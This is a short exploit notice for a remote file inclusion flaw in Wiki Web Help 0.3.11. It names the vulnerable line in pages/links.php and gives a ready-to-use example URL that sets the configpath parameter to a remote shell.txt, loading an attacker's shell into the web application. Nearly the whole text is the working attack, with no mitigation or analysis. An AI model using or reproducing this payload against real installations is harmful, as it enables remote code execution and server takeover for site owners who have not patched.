############################################ ### Exploit Title: Wiki Web Help v0.3.11 Remote File Inclusion Vulnerability ### Date: 04/9/2012 ### Author: L0n3ly-H34rT ### Contact: l0n3ly_h34rt@hotmail.com ### My Site: http://se3c.blogspot.com/ ### Vendor Link: http://wikiwebhelp.org/ ### Software Link: http://sourceforge.net/projects/wwh/files/wwh-0.3.11.7z/download ### Version: 0.3.11 ### Tested on: Linux/Windows ############################################ # File affect ( pages/links.php ) on line 5: require_once("$configpath/config.php"); # Example : http://127.0.0.1/wwh/pages/links.php?configpath=http://127.0.0.1/shell.txt? ############################################ # Greetz to my friendz